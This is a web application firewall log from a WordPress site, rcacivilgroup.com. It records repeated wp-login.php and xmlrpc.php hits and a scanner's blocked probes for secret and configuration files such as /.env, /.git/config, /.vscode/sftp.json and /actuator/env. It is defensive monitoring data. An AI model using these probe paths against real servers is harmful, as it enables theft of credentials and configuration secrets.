[Wed Nov 12 09:33:55.159959 2025] [:error] [pid 42109:tid 42132] [client 37.140.223.224:40683] [client 37.140.223.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPkA0SVaAu1Gvn5umFRnAAAARU"]
[Wed Nov 12 09:34:18.908226 2025] [:error] [pid 41920:tid 41936] [client 219.94.253.34:36610] [client 219.94.253.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 219.94.253.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRPkGuXWVOMJCZeU4HGGUwAAAM4"]
[Wed Nov 12 09:49:33.604988 2025] [:error] [pid 41920:tid 41929] [client 37.140.223.250:54029] [client 37.140.223.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPnreXWVOMJCZeU4HGOCgAAAMc"]
[Wed Nov 12 10:03:15.204401 2025] [:error] [pid 60095:tid 60104] [client 136.144.33.42:39705] [client 136.144.33.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.42, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPq43lw2elroagFF1qfBwAAAEU"]
[Wed Nov 12 10:17:32.298464 2025] [:error] [pid 60405:tid 60411] [client 37.140.223.215:39703] [client 37.140.223.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPuPHMGv_mlVi6mf5pMOgAAAAM"]
[Wed Nov 12 10:32:05.057741 2025] [:error] [pid 60097:tid 60174] [client 136.144.33.42:25813] [client 136.144.33.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.42, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPxpcdT5oio_TbWpi_kSwAAANU"]
[Wed Nov 12 10:42:03.167225 2025] [:error] [pid 60096:tid 60129] [client 109.234.164.79:59236] [client 109.234.164.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPz-zmzkhCvvk8DXOwUDgAAAIM"]
[Wed Nov 12 10:42:07.580438 2025] [:error] [pid 60096:tid 60127] [client 109.234.164.79:59236] [client 109.234.164.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPz_zmzkhCvvk8DXOwUGAAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 10:45:48.326290 2025] [:error] [pid 60097:tid 60152] [client 37.140.223.250:27293] [client 37.140.223.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRP03MdT5oio_TbWpi_qTQAAAMU"]
[Wed Nov 12 11:00:18.972531 2025] [:error] [pid 60180:tid 60190] [client 136.144.33.43:24127] [client 136.144.33.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.43, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRP4Qlhgd7ccS8EZg1qsvwAAAUg"]
[Wed Nov 12 11:06:23.081116 2025] [:error] [pid 12744:tid 12763] [client 132.148.74.71:55368] [client 132.148.74.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.74.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRP5r51cp_ouUvkFj0WMYgAAAQ8"]
[Wed Nov 12 11:14:50.584526 2025] [:error] [pid 60096:tid 60158] [client 37.140.223.237:64401] [client 37.140.223.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRP7qjmzkhCvvk8DXOwddAAAAJg"]
[Wed Nov 12 11:29:11.605375 2025] [:error] [pid 60095:tid 60108] [client 37.140.223.246:62487] [client 37.140.223.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRP_B3lw2elroagFF1q6MwAAAEk"]
[Wed Nov 12 11:43:07.318499 2025] [:error] [pid 60405:tid 60409] [client 136.144.33.42:55871] [client 136.144.33.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.42, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQCS3MGv_mlVi6mf5pujwAAAAE"]
[Wed Nov 12 11:46:08.600307 2025] [:error] [pid 60096:tid 60155] [client 148.66.155.82:35794] [client 148.66.155.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.66.155.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQDADmzkhCvvk8DXOwnUgAAAJU"]
[Wed Nov 12 11:56:51.636382 2025] [:error] [pid 60097:tid 60149] [client 37.140.223.249:34929] [client 37.140.223.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.249, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQFg8dT5oio_TbWpi8AIwAAAMM"]
[Wed Nov 12 12:03:15.396613 2025] [:error] [pid 60097:tid 60174] [client 66.240.236.13:53126] [client 66.240.236.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.240.236.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQHA8dT5oio_TbWpi8CaQAAANU"]
[Wed Nov 12 12:10:35.648498 2025] [:error] [pid 60405:tid 60417] [client 37.140.223.220:21765] [client 37.140.223.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQIu3MGv_mlVi6mf5p77wAAAAk"]
[Wed Nov 12 12:11:19.372537 2025] [:error] [pid 60405:tid 60428] [client 143.110.213.72:36526] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aRQI53MGv_mlVi6mf5p8DAAAABQ"]
[Wed Nov 12 12:11:19.987699 2025] [:error] [pid 12744:tid 12753] [client 143.110.213.72:36528] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aRQI551cp_ouUvkFj0Wu8QAAAQU"]
[Wed Nov 12 12:11:20.601388 2025] [:error] [pid 60180:tid 60199] [client 143.110.213.72:36536] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRQI6Fhgd7ccS8EZg1rFSAAAAVE"]
[Wed Nov 12 12:11:21.213331 2025] [:error] [pid 12744:tid 12754] [client 143.110.213.72:36540] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/server"] [unique_id "aRQI6Z1cp_ouUvkFj0Wu8wAAAQY"]
[Wed Nov 12 12:11:21.824671 2025] [:error] [pid 60095:tid 60115] [client 143.110.213.72:36550] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aRQI6Xlw2elroagFF1rHvgAAAFA"]
[Wed Nov 12 12:11:22.439752 2025] [:error] [pid 60097:tid 60142] [client 143.110.213.72:36566] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/about"] [unique_id "aRQI6sdT5oio_TbWpi8FMQAAAMA"]
[Wed Nov 12 12:11:23.055145 2025] [:error] [pid 60180:tid 60197] [client 143.110.213.72:36576] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aRQI61hgd7ccS8EZg1rFSgAAAU8"]
[Wed Nov 12 12:11:23.669993 2025] [:error] [pid 60097:tid 60172] [client 143.110.213.72:36578] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aRQI68dT5oio_TbWpi8FNAAAANM"]
[Wed Nov 12 12:11:24.287144 2025] [:error] [pid 60405:tid 60410] [client 143.110.213.72:36580] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRQI7HMGv_mlVi6mf5p8EAAAAAI"]
[Wed Nov 12 12:11:24.897076 2025] [:error] [pid 12744:tid 12756] [client 143.110.213.72:36592] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/server-status"] [unique_id "aRQI7J1cp_ouUvkFj0Wu9QAAAQg"]
[Wed Nov 12 12:11:25.509988 2025] [:error] [pid 60405:tid 60419] [client 143.110.213.72:45808] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/login.action"] [unique_id "aRQI7XMGv_mlVi6mf5p8FQAAAAs"]
[Wed Nov 12 12:11:27.659409 2025] [:error] [pid 12744:tid 12770] [client 143.110.213.72:45828] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aRQI751cp_ouUvkFj0WvKgAAARY"]
[Wed Nov 12 12:11:28.272187 2025] [:error] [pid 60097:tid 60168] [client 143.110.213.72:45836] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aRQI8MdT5oio_TbWpi8FOAAAAM8"]
[Wed Nov 12 12:11:28.884503 2025] [:error] [pid 60097:tid 60169] [client 143.110.213.72:45844] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRQI8MdT5oio_TbWpi8FOgAAANA"]
[Wed Nov 12 12:11:29.496526 2025] [:error] [pid 60405:tid 60424] [client 143.110.213.72:45854] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRQI8XMGv_mlVi6mf5p8HwAAABA"]
[Wed Nov 12 12:11:30.112705 2025] [:error] [pid 60180:tid 60184] [client 143.110.213.72:45862] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/config.json"] [unique_id "aRQI8lhgd7ccS8EZg1rFUAAAAUI"]
[Wed Nov 12 12:11:30.730359 2025] [:error] [pid 12744:tid 12756] [client 143.110.213.72:45872] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aRQI8p1cp_ouUvkFj0WvPgAAAQg"]
[Wed Nov 12 12:11:31.344821 2025] [:error] [pid 60095:tid 60123] [client 143.110.213.72:45878] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRQI83lw2elroagFF1rHxAAAAFg"]
[Wed Nov 12 12:11:31.957455 2025] [:error] [pid 60180:tid 60182] [client 143.110.213.72:45886] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRQI81hgd7ccS8EZg1rFWQAAAUA"]
[Wed Nov 12 12:23:41.424898 2025] [:error] [pid 60180:tid 60185] [client 77.68.30.96:42474] [client 77.68.30.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.30.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQLzVhgd7ccS8EZg1rJMAAAAUM"]
[Wed Nov 12 12:23:43.484169 2025] [:error] [pid 60180:tid 60183] [client 77.68.30.96:42474] [client 77.68.30.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.30.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQLz1hgd7ccS8EZg1rJOQAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 12:25:21.451961 2025] [:error] [pid 12744:tid 12749] [client 172.245.102.87:57603] [client 172.245.102.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQMMZ1cp_ouUvkFj0W1-AAAAQE"]
[Wed Nov 12 12:40:01.438919 2025] [:error] [pid 60097:tid 60170] [client 37.140.223.232:29877] [client 37.140.223.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQPocdT5oio_TbWpi8PdwAAANE"]
[Wed Nov 12 12:54:25.439024 2025] [:error] [pid 60405:tid 60428] [client 37.140.223.216:55799] [client 37.140.223.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQTAXMGv_mlVi6mf5qMvAAAABQ"]
[Wed Nov 12 12:58:14.859579 2025] [:error] [pid 60180:tid 60192] [client 69.48.205.45:51240] [client 69.48.205.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.48.205.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQT5lhgd7ccS8EZg1rVvgAAAUo"]
[Wed Nov 12 13:09:17.877791 2025] [:error] [pid 60180:tid 60202] [client 172.245.102.87:37217] [client 172.245.102.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQWfVhgd7ccS8EZg1rZqgAAAVQ"]
[Wed Nov 12 13:21:21.751238 2025] [:error] [pid 60180:tid 60187] [client 178.18.247.115:49569] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZUVhgd7ccS8EZg1rfEAAAAUU"], referer: binance.com
[Wed Nov 12 13:21:27.851346 2025] [:error] [pid 12744:tid 12754] [client 178.18.247.115:55074] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZV51cp_ouUvkFj0XTtwAAAQY"]
[Wed Nov 12 13:21:29.675773 2025] [:error] [pid 60180:tid 60183] [client 178.18.247.115:52703] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZWVhgd7ccS8EZg1rfOQAAAUE"]
[Wed Nov 12 13:21:31.532731 2025] [:error] [pid 60096:tid 60132] [client 178.18.247.115:52713] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZWzmzkhCvvk8DXOxIYQAAAIY"]
[Wed Nov 12 13:21:33.347702 2025] [:error] [pid 60097:tid 60149] [client 178.18.247.115:54313] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZXcdT5oio_TbWpi8ezQAAAMM"]
[Wed Nov 12 13:21:35.217732 2025] [:error] [pid 60405:tid 60412] [client 178.18.247.115:57119] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZX3MGv_mlVi6mf5qYBQAAAAQ"]
[Wed Nov 12 13:21:37.130674 2025] [:error] [pid 12744:tid 12754] [client 178.18.247.115:58250] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZYZ1cp_ouUvkFj0XTzwAAAQY"]
[Wed Nov 12 13:21:38.831050 2025] [:error] [pid 60405:tid 60408] [client 178.18.247.115:59029] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZYnMGv_mlVi6mf5qYCgAAAAA"]
[Wed Nov 12 13:21:40.705629 2025] [:error] [pid 12744:tid 12756] [client 178.18.247.115:50959] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZZJ1cp_ouUvkFj0XT1gAAAQg"]
[Wed Nov 12 13:21:42.566183 2025] [:error] [pid 12744:tid 12770] [client 178.18.247.115:59277] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZZp1cp_ouUvkFj0XT2wAAARY"]
[Wed Nov 12 13:21:44.314349 2025] [:error] [pid 60095:tid 60119] [client 178.18.247.115:62672] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZaHlw2elroagFF1rgKQAAAFQ"]
[Wed Nov 12 13:21:46.078802 2025] [:error] [pid 60096:tid 60145] [client 178.18.247.115:61398] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZajmzkhCvvk8DXOxIfgAAAJA"]
